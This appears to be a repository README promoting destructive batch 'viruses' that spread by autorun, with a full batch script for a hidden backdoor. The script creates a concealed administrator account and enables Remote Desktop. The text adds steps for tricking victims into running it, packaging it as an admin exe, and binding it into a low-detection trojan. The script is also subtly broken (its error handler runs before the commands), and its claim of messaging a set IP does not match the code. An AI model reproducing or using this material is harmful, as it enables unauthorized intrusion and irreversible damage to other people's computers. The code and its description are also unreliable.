And because I want to give something meaningful as well as just mess around, this repo is a collection of fun little viruses that pack a mean punch.
If you know anything about hacking you will know that batch files are commonly the scum of the hacking world, most tutorials will show you how to make "viruses" that are nothing more than pranks and gain the creator nothing more than a laugh, which is OK, but if you really want something to cause some actual lasting damage those pranks will be no help.
- Disablenet.bat
- Shutdowns.bat
- crashespc.bat
- system_meltdown.bat
Please Note that the above mentioned viruses make use of the autorun.inf file to exploit the autorun feature and can easily infect a windows machine and their effect can be devistating. Each .bat file can potencially destroy a PC if it's run individually. I have set them all to autorun, ensuring a non recoverable end result.
For an additional virus that is unlinked and unaffiliated with the .bat set please see the file named: Complete_viruscode_Pascal:
Let's try to make an actual batch file virus to gain full access to another computer.
NOTE: The user is going to have to be tricked into opening a file that requires admin access.
@echo off
setlocal
REM Define user variables
set "username=winsystem"
set "password=winsystem"
set "registryPath=HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList"
REM Function to handle errors
:ErrorHandler
echo An error occurred: %1
exit /b 1
REM Create a new user and add to administrators group
net user %username% %password% /add || call :ErrorHandler "Failed to create user %username%"
net localgroup administrators %username% /add || call :ErrorHandler "Failed to add user %username% to administrators group"
REM Set PowerShell execution policy to unrestricted
powershell -Command "Set-ExecutionPolicy Unrestricted -Scope Process -Force" || call :ErrorHandler "Failed to set PowerShell execution policy"
REM Create a new registry entry to hide the user
powershell -Command "New-Item -Path '%registryPath%' -Force | New-ItemProperty -Name '%username%' -Value 0 -PropertyType DWord -Force" || call :ErrorHandler "Failed to create registry entry for %username%"
REM Allow remote desktop connections
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f || call :ErrorHandler "Failed to enable remote desktop connections"
REM Notify the user that the setup is complete
msg * "The setup is ready. Please connect to the server."
endlocal
exit /b 0
- Creates a new user called winsystem with the password winsystem
- Adds the new user as an admin.
- Alows PowerShell scripts to run.
- Hides the user from the Log in screen.
- Allows RDP (Remote Desktop Protocol)
- Sends the message "The setup is ready. Please connect to the server." To the pre-defined IP.
https://www.computerhope.com/download/utility/Bat_To_Exe_Converter.zip
Then convert the batch file and remember to tick the box that says Add Administrator Manifest.
REMEMBER: When the box opens DO NOT CLOSE IT! Copy down the computer name, open cmd, and type: ping .
Thats all! As soon as you get the IP, Copy it and input it into RDP and log in as winsystem.
This may be detected by antivirus, but if you join the regular .bat file with a different files a Trojan can be made with low detection rates.
Please use it only for research purposes. >_0 Seriously though. Do not download this!